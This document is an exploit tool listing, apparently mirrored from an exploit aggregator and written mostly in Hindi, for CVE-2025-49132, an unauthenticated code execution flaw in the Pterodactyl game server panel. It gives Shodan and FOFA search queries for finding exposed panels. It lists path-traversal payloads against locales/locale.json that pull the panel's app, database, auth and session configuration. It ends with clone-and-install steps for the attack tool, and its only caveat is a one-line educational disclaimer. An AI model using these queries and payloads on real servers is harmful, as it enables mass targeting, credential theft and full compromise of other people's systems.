Exploit for CVE-2025-49132

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YURAHSHELL-CVE-2025-49132
# CVE-2025-49132 — Pterodactyl RCE

> **CVE-2025-49132** के लिए शोषण उपकरण — **Pterodactyl** गेम सर्वर पैनल को प्रभावित करने वाली एक गंभीर बिना प्रमाणीकरण के मनमाना कोड निष्पादन भेद्यता।

* * *

## 🧠 CVE-2025-49132 क्या है?

Pterodactyl पैनल में एक गंभीर ACE दोष जो **बिना प्रमाणीकरण के दूरस्थ हमलावरों** को मनमाना कोड निष्पादित करने की अनुमति देता है — संभावित रूप से **पूर्ण सिस्टम समझौता** की ओर ले जाता है।

कोई प्रमाणीकरण आवश्यक नहीं। बस एक कमजोर इंस्टेंस।

* * *

## ⚠️ अस्वीकरण

## केवल **शैक्षिक और अधिकृत पेनटेस्टिंग उद्देश्यों** के लिए।

## 🔍 टोही

**Shodan**

root@kitploit:~
    
    
    http.title:"Pterodactyl"
    

**FOFA**

root@kitploit:~
    
    
    "Pterodactyl"
    

* * *

## 💉 पेलोड्स

root@kitploit:~
    
    
    locales/locale.json?locale=../../../pterodactyl&namespace=config/app
    locales/locale.json?locale=../../../pterodactyl&namespace=config/database
    locales/locale.json?locale=../../../pterodactyl&namespace=config/auth
    locales/locale.json?locale=../../../pterodactyl&namespace=config/session
    

* * *

## 📦 स्थापना

root@kitploit:~
    
    
    git clone https://github.com/yurahshell/CVE-2025-49132
    cd CVE-2025-49132
    pip install -r requirements.txt
    

* * *

## 🎯 प्रभावित सॉफ्टवेयर

सॉफ्टवेयर| स्थिति  
---|---  
Pterodactyl Panel|   
  
* * *

## 📄 संदर्भ

  * NVD - CVE-2025-49132
  * Pterodactyl